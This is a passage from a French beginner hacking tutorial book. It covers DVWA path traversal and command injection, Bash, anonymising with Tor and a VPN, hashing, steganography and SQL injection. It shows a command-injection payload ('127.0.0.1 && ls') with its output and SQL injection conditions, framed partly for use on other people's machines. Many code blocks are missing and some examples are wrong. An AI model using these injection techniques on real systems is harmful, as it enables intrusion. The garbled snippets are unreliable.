chemin relatif dépend de l’endroit où vous vous trouvez sur votre pc. Pour
rappelle sur Linux :
./ => Ce dossier
../ => Dossier parent
~ => Dossier personnel
Donc si l’on veut récupérer le contenu de la page d’accueil de DVWA, qui se situe
dans le dossier parent au dossier parent de la page dans laquelle nous nous
trouvons. C’est le chemin ../../index.php qui nous permet d’y accéder. Ce faisant,
vous pouvez accéder à n’importe quelles ressources du serveur Web, même celles
qui sont d’habitude fermées aux utilisateurs lambda.
Il existe une fonction en PHP nommée shell_exex() qui permet au code d’exécuter
une commande sur le serveur directement. Elle peut s’avérer très pratique pour
certaines actions et rend bien service aux développeurs, mais elle vient avec son
lot de failles. Que se passerait-il si quelqu’un arrivait à utiliser cette fonction et
pouvait exécuter du code sur notre serveur ?
$cmd = shell_exec( 'ping -c 4 ' . $target );
Vous l’avez ? Si ce n’est pas le cas, je vous ferais remarquer que $target ne subit
aucune vérification est que la variable est ajoutée directement à la fin de la
176
commande. Quelle conclusion en tirer ? Il est très facile d’injecter n’importe quelle
commande sur la machine.
Rappelez-vous, pour signaler la fin d’une commande sur Linux, on met un ; à la
fin :
$ mkdir build ; cd build
ou alors un && pour enchaîner sur une autre commande :
Ces deux lignes sont exactement les mêmes (créer un dossier « build » et y aller).
Mais reprenons notre exemple, lorsque l’on rentre une IP, voilà à quoi ressemble
notre commande :
ping -c 4 $target
ping -c 4 127.0.0.1
On voit que $target vient prendre la valeur de ce que nous rentrons, mais le code
ne possédant pas de vérification, sommes-nous obligés de rentrer qu’un IP ? La
réponse est bien évidemment non, et c’est de là que provient la faille… Prenons
un deuxième exemple, rentrez « 127.0.0.1 && ls », la commande devient :
177
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.056 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.090 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.073 ms
Et celui de ls :
help
index.php
source
Et ceci marche avec (presque) n’importe quelle commande. Bien sûr, l’intérêt
n’est pas très grand si c’est pour lister le contenu du dossier dans lequel vous
vous trouvez. Mais imaginez si vous aviez le moyen d’exécuter une commande
permettant le contrôle total de la session… C’est ce que vous avez vu dans le
tutoriel sur Metasploit !
Pour l’heure, essayez de bien comprendre ce que vous venez de lire. Essayez
plusieurs commandes sur DVWA, et si vous vous sentez prêt, passez au niveau
supérieur en changeant les paramètres dans l’onglet « DVWA security ». Je
recommande un bon niveau en Linux pour continuer cependant.
178
Exploitation du système
I. Les Variables
Pour déclarer une variable, rien de plus simple :
$ x=3
$ echo $x
$ x=`tail -n 1 fichier.txt`
179
x aura alors pour valeur une chaîne de caractère correspondant à la dernière ligne
de fichier.txt
$ let x=’3+3’
$ echo $x
6
$ x=3
$ y=2
$ let z="$x+$y"
$ echo $z
5
! Pour ce genre d’action, vous serez obligé d’utiliser le guillemet anglais (").
α La soustraction :
$ let z="$x-$y"
$ echo $z
1
α La multiplication :
$ let z="$x*$y"
$ echo $z
6
α La division :
La division ne prendra que la partie entière du quotient.
180
$ let z="$x/$y"
$ echo $z
1
α Le modulo :
Vous n’avez peut-être jamais vu cette opération en mathématiques (c’est que
vous avez échappé au cours d’arithmétique, la chance), elle correspond au reste
d’une division euclidienne.
$ let z="$x*$y"
$ echo $z
1
if [ condition ]
then
faire…
fi
181
Je l’ai exprimé sur plusieurs lignes, mais vous pouvez également le faire en une
seule instruction comme ceci :
a == b a est égale à b
a != b a n’est pas égale à b
a -lt b a est plus petit que b
a -gt b a est plus grand que b
a && b Les propositions a et b sont vraies
a || b La condition a ou la condition b est vraie
x=3
y=2
if [ $x -gt $y ]
then
echo “x est supérieur à y”
fi
Elle peut se traduire en français par : « si x est plus grand que y, alors dire “x est
supérieur à y”. »
Pour utiliser les opérateurs autres opérateurs (et / ou), voici un deuxième
exemple :
x=3
y=2
if [ $x -gt $y ] || [ $x == $y ]
then
echo “x est supérieur ou égale à y”
fi
182
Ce qui peut se traduire par : « si x est plus grand OU égale à y, alors dire “x est
supérieur ou égale à y”. »
Pour rappelle, vous pouvez exprimer une condition en une seule ligne, ce qui
donnerait pour le deuxième exemple :
#!/bin/bash
x=3
y=2
if [ $x -gt $y ] || [ $x == $y ]
then
echo “x est supérieur ou égale à y”
fi
Enregistrez ce morceau de code dans un fichier que vous noterez test.sh, puis
rendez le exécutable avec chmod. Lancez le en ajoutant ./ devant et le tour est
joué. Vous devinerez aisément les deux règles qui découle de cet exemple :
V. Les boucles
Les boucles sont juste des conditions qui se répètent tant qu’elles se trouvent être
vraies. Une fois fausses, les boucles s’arrêtent. Avec shell, le mot-clef pour faire
une boucle est « while », suivi de « do » et elle se finit par « done »
183
Ce qui donne :
while [ condition ]
do
fait…
done
x=0
while [ x -lt 5 ]
do
echo “Mon message”
let x=”$x+1”
done
! N’oubliez pas d’incrémenter vos variables, vous vous retrouveriez dans une
boucle infinie si ce n’était pas le cas.
Ceci étant dit, vous avez dès à présent de quoi faire des scripts assez pratique,
pour une utilisation personnelle ou pour s’en servir sur la machine d’un autre. Je
ne peux qu’être assez exhaustif ici malheureusement, du fait de mes faibles
connaissances en la matière et de par mon incapacité à résumé l’ensemble des
notions à voir sur ce sujet.
Escalade de privilège
Garder le contrôle
184
Se sécuriser et effacer ses traces
Attention : Le navigateur n'est en aucun cas le même programme que Tor. Il faudra
donc l'installer :
$ torify [commande]
185
Par exemple :
À l'aide de la commande curl, je vais visualiser mon IP publique ; à gauche, sans Tor, à
droite, avec Tor :
On remarquera que mon IP a changé. Malheureusement, le réseau Tor n'est pas assez
sûr car certains des relais que vous pourriez utiliser sont possiblement malveillants. Il
va donc nous falloir ajouter une couche en plus avec un VPN.
On aura besoin pour cela du paquet openvpn. Il est normalement déjà installé, mais si
ce n'est pas le cas, vous pouvez le télécharger depuis les sources.
# openvpn [nomDuFichier]
186
La Cryptographie
Nous rentrons ici dans un chapitre bien compliqué, âme sensible d’abstenir.
Commençons par quelques définitions afin de mettre en avant quelques termes
récurrents de ce chapitre :
α Chiffrer : rendre inintelligible ses données à l’aide d’une clef de chiffrement.
α Déchiffrer : rendre intelligible des données chiffrées à l’aide de la même clef
de chiffrement qui a permis de les mettre dans cet état.
α Décrypter : déchiffrer un message sans posséder la clef de chiffrement, il
s’agit alors d’essayer de trouver cette dernière.
On voit qu’à partir de nos définitions, le terme crypter n’existe simplement pas et
devient totalement illogique. Quel genre d’algorithme pour chiffrer des données à
l’aide d’une clef sans la connaître au préalable, c’est un non-sens.
On voit bien qu’avec n’importe quel message que nous rentrons, il est très facile
de retrouver le texte original à partir du chiffré.
187
Décrivons le fonctionnement de base64 :
Tout d’abord, on décompose le message texte en binaire à partir d’une table
ASCII. On prend ensuite le message binaire formé pour ne former qu’une longue
chaîne de 0 et de 1. On vient ensuite découper le message en paquet de 6 bits
auquel on associe une valeur à partir d’une autre table. Le nom base64 vient alors
du fait que ces nouvelles valeurs binaires ne peuvent prendre que 64 valeurs
différentes.
Si vous n’arrivez pas à vous représentez ce que peut être le hashage, imaginez
une fonction f qui à un mot associe le nombre de lettres. On a alors :
f (Salut )=5 ou f ( France)=6 ou encore f (Maurice)=7
On peut très facilement obtenir le nombre de lettre en partant d’un antécédent,
mais si je vous donnais une image, comme 6 par exemple, arriveriez-vous à
retrouver le mot France. Alors, certes, peut-être y arriveriez-vous, mais qu-est ce
qui vous aurez empêché de me répondre Patrie.
On se rend compte qu’il y a même énormément de mots qui correspondent à
notre attente, cela nous permet de déduire que notre fonction n’est pas très
performante, car si un algorithme ne comparait que les hashs (résultat d’une
fonction de hashage), on pourrait alors lui fournir beaucoup de mots ayant le
même nombre de lettres, sans pour autant donner le mot attendu.
On parle alors d’efficacité de la fonction, c’est-à-dire la probabilité d’obtenir une
collision (deux antécédents ayant le même hash). Plus cette probabilité est haute,
plus l’efficacité est faible.
188
Heureusement, les informaticiens ont mis au point des fonctions de hashage bien
plus robustes que ça, vous en avez même déjà exploité dans le chapitre sur le
BruteForce.
Les plus connus sont MD5 et autres variantes ainsi que SHA256 et ses similaires.
Pour les utiliser :
$ echo “message” | md5sum
Et :
$ echo “message” | sha256sum
Le résultat obtenu ne peut absolument pas être repassé dans la fonction afin
d’obtenir le message de base. Vous pouvez essayer, vous n’y arriverez pas !
189
La Stéganographie
La stéganographie, ce sont toutes les techniques utilisées pour cacher une
information et la transmettre sans la rendre incompréhensible pour qui la reçoit.
Elle est différente de la cryptographie qui cherche impérativement à brouiller les
pistes de sorte que personne ne puisse lire le message.
Parmi les techniques les plus utilisées figure l’information cachée dans une
image. C’est la plus simple, la plus pratique et surtout, la plus poétique.
L’une des méthodes les plus simples et requérant le moins de moyens est
sans aucuns doutes celle-ci. Elle consiste à cacher une archive (zip, rar, tar) dans
une image, ce qui permet de stocker une grande quantité d’informations dans un
seul endroit (très pratique si vous aviez à cacher de nombreuses informations
compromettantes).
Puis placez les fichiers que vous voulez cacher dans un dossier. Compressez-le
ensuite :
190
Petit rappel sur les commandes :
Une fois fait, il ne reste plus qu’à placer l’archive dans l’image. Les images
sont encodées d’une telle manière qu’ajouter des données à la fin de celle-ci ne
pose aucunement problème. Il suffira donc de faire :
On remarque que l’image est restée intacte malgré la présence de notre archive
en son sein.
$ unzip Vlad2.jpg
N’oubliez pas de supprimer vos données (pas l’image) après les avoir cachées
dans l’image si vous désirez que personne ne les retrouve en dehors de l’image.
191
II. Plus de méthodes
→ Le montage photo
C’est un peu la technique du pauvre mais qui fait toujours son petit effet
lors d’un jeu de piste. Il suffit juste de cacher le message directement dans la
photo par divers moyen.
Un message est caché dans cette image, pour le retrouver, il suffit de jouer
un peu avec un éditeur photo comme Photoshop, ou Gimp si vous êtes un prolo
comme moi :
192
→ Avec le logiciel Outguess
Installer outguess :
Pour cacher vos données, rien de plus simple. Écrivez-les à l’intérieur d’un fichier
texte, puis tapez la commande :
Si vous n’avez pas d’images jpg, vous pouvez convertir votre image avec la
commande convert du paquet imagemagick :
Il est évident que la manière de faire n’est pas très sécurisée, c’est pour ça que
Outguess rajoute la possibilité de rentrer un mot de passe pour cacher ou
retrouver ses données. Utilisez le paramètre -k :
193
Programmation
Cette partie sur la programmation n’est pas du tout obligatoire. Aucune personne
travaillant dans la sécurité informatique s’est vue obligé d’apprendre tel ou tel
langage, en revanche, en maîtriser un ou deux ne peut que faire du bien. Avec les
trois langages que l’on vous propose, vous serez capable d’apprendre :
α Les bases de la programmation et de l’algorithmie avec Python afin
d’automatiser des scripts sur votre ordinateur.
α L’utilisation des bases de données, leur sécurisation et leur exploitation
avec SQL (suite du chapitre sur sqlmap).
α La programmation avancée, l’utilisation de la mémoire et du matériel avec
le langage C, ce qui vous permettra à la fin de fabriquer des virus toujours
plus puissants.
Afin de vous entraîner, des bases de données vous seront données afin de manier
SQL et des défis de programmation allant des choses les plus basiques aux
compétences les plus complexes vous seront proposés.
194
Bases de données et SQL
Dans cette partie, nous resterons sommaires sur certains détails concernant les
bases de données, car nous ne sommes pas là pour faire du développement
informatique, et nous détaillerons plus amplement les parties concernant la
sécurité.
Admettons que cela soit la représentation d’une base de données d’un site
lambda où les utilisateurs possèdent un compte pour s’authentifier. Eh bien,
premièrement nous remarquons que les mots de passe ne sont pas parmi les plus
195
sécurisés, et, deuxièmement, le résultat sur un logiciel comme DB browser for
sqlite (SGBD présent sur toutes les plateformes) sera significativement le même :
Ce qui va rendre la chose plus intéressante par apport à un fichier CSV, c’est que,
comme leur nom l’indique, ces bases de données sont en relations, c’est-à-dire
que les données de l’une peuvent être accolées aux données de l’autre à l’aide de
ce que l’on appelle une jointure.
De là, deux notions apparaissent :
α Une table : l’équivalent d’une feuille sur LibreOffice Calc. C’est l’endroit où
sont inscrites et ordonnées toutes les données.
α Un attribut : il s’agit d’une colonne de la table. Par exemple, l’attribut
utilisateur a pour valeur bob, alice, root, jean, jacky.
α Une ligne : on l’appelle aussi entité type, il s’agit ni plus ni moins d’une
ligne de la table. Par exemple, la ligne 2 contient les informations : 2, alice,
soleil.
Pour mettre en évidence le rôle de la table, ses colonnes et ses relations avec
d’autres tables, on va s’aider d’un schéma. Par exemple, gardons notre table
précédente, que nous nommerons connexion, et créons-en une autre nommée
196
infos, qui reprendra le mail et l’adresse des utilisateurs. Une représentation
correcte de ces deux tables seraient :
connexion infos
id int id int
utilisateur text mail text
mdp text adresse text
Les mots int out text font références au type de la colonne, c’est-à-dire au genre
d’informations qui y seront rentrées, int faisant écho au mot anglais integrer,
voulant dire nombre, et text, à une chaîne de caractère. Vous pourrez rencontrer
un dernier type, plus rare mais encore très utilisé, Varchar, qui représente une
chaîne de caractère limité à une certaine longueur.
Dans le cas présent, on remarquera très facilement que id dans infos est à la fois
clef primaire et étrangère de la table, car ses valeurs seront uniques (chaque
utilisateur ne peut avoir qu’une adresse et adresse mail) et sa valeur fait, à
chaque ligne, directement écho à l’id de connexion.
Maintenant que les bases de données vous ont été présentées, passons à leur
mise en place.
Lancez le logiciel depuis votre interface graphique et créez une base de données
(bouton en haut à gauche), donnez-lui un nom quelconque. Lorsque la fenêtre
vous proposant de créer une table apparaît, fermez-la, nous utiliserons du code
pour créer nos tables, comme tout bon guerrier de l’information.
Notre laboratoire est dès à présent fonctionnel, nous allons pouvoir enfin utiliser
le langage SQL. Mais qu’est-ce que c’est ?
SQL, pour Structured Query Language (Langage de Requêtes Structurées) est un
langage informatique utilisé pour la modification et la gestion de BDD. Il n’est
vraiment pas du tout compliqué à apprendre et à appliquer et la plupart des mots-
clefs sont transparents avec l’anglais.
197
Commençons d’abord par créer une table. La structure est des plus simples même
si elle peut impressionner au début :
Les spécificités sont tout à fait optionnelles, nous ne les utiliserons pas ici, car
notre but n’est pas de devenir des professionnels dans la création de tables, mais
plutôt dans la compréhension des mécanismes derrière l’utilisation des BDD.
Pour créer la table connexion, le code sera par exemple :
Essayez de modifier le code pour créer la table infos, je vous mets le code juste
en dessous au cas où :
Insérons maintenant les valeurs, copiez juste cette ligne, nous l’expliquerons plus
tard en détail :
Sélectionner des données en SQL permet de retrouver les données inscrites dans
la table, et de les trier en fonction de ce que l’on désire récupérer. Une requête de
base serait :
198
Cette ligne va récupérer toutes les lignes de la table ‘table’, indépendamment de
leur valeur. Pour récupérer les valeurs de notre table, la ligne suivante est las plus
correcte :
Je ne vous note pas les effets de la commande, vous pourrez très bien le retrouver
vous-même en essayant les codes qui vous sont présentés. La meilleure des
méthodes pour apprendre restant la pratique, je ne peux que vous encourager à
créer vos propres bases de données ou réutiliser celle que je vous offre.
Dans l’exemple donné, l’astérisque renvoie à la sélection de toutes les colonnes.
Cependant, il se peut que lors d’une requête, vous n’ayez besoin que de certaines
colonnes. Dans ce cas-là, il faudra spécifier le nom des attributs qu’il vous faudra
afficher :
La ligne ci-dessus renverra le nom de tous les utilisateurs et leur mot de passe
respectif, mais n’affichera pas la colonne id, car son nom n’est pas spécifié.
Ces lignes (une commande SQL peut s’écrire sur plusieurs lignes, ce qui signale la
fin de la requête est le point-virgule final) sélectionneront toutes les informations
de la table où l’id est égal à 3 (ici, la ligne : 3, root, toor).
Le mot-clef WHERE permet donc de spécifier la valeur que doit prendre un attribut
dans une ligne pour que cette dernière soit renvoyée. On peut appliquer une
comparaison, non seulement sur des nombres, mais sur tout type de données :
On n’est pas non plus obligé de n’avoir que des valeurs exactes :
199
On peut également tout à fait comparer plusieurs attributs dans une seule et
même requête. Par exemple, pour sélectionner les lignes qui contiennent les
attributs id OU utilisateur respectivement égal à 3 et jacky, on aura :
SELECT * FROM connexion
WHERE id=3 OR utilisateur="jacky";
Nous sommes en présence ici d’un OU inclusif, expression qui n’a rien à voir avec
les politiques de gauche radical du XXI e siècle, mais plutôt avec le fait qu’un des
deux éléments, ou les deux en même temps, doit être vrai, pour que la ligne soit
renvoyée. Pour n’avoir que les lignes ayant les deux conditions valides, on
utilisera le mot-clef AND :
Un exemple vaut parfois mieux qu’un long discours, alors, imaginons que nous
voulions ajouter la ligne 6, michel, lehcim, la commande serait la suivante :
200
vous la fassiez vraiment, car les requêtes suivantes se baseront sur ce que vous
avez écrit…
Admettons que nous nous soyons trompés lors de la saisie d’une donnée, il est
toujours utile de pouvoir revenir sur les valeurs rentrées et de les modifier. SQL le
permet à l’aide du mot-clef UPDATE dont la structure est la suivante :
201
DELETE FROM connexion
WHERE id=1;
La variable $num, qui possède à peu près une syntaxe issue du PHP, est supposée
être un nombre rentré par l’utilisateur. Alors si l’utilisateur rentre le chiffre 4, la
requête serait alors transformée en :
202
SELECT * FROM table
WHERE id=4 OR id>0;
Dans le cas présent, le pirate doit injecter un guillemet en premier lieu avant de
pouvoir ajouter son code, la requête se transformerait donc en :
Ici, la partie AND NOT nom="root"; est tout simplement ignoré et notre requête
renvoie l’entièreté de la base de données.
Bien sûr, ce qui rend la tâche plus dure, c’est que les noms des tables et des
attributs sont inconnus à nos yeux et les récupérer est souvent un travail
fastidieux. C’est pourquoi l’utilisation d’outils comme sqlmap simplifie
grandement la vie ; Ils permettent l’automatisation et la vérification à grandes
échelles, là où il aurait fallu plusieurs dizaines d’heures de travail.
Cette partie sur le SQL est maintenant finie, vous en savez plus sur ce langage et
l’exploitation des failles liées à son utilisation.
203
L’informatique de bas niveau avec C
204
Informations sur l’ouvrage
Cet ouvrage est à sa version 1.0.
Pour me contacter : Th3D4rKThyM0t1Du78@protonmail.com
205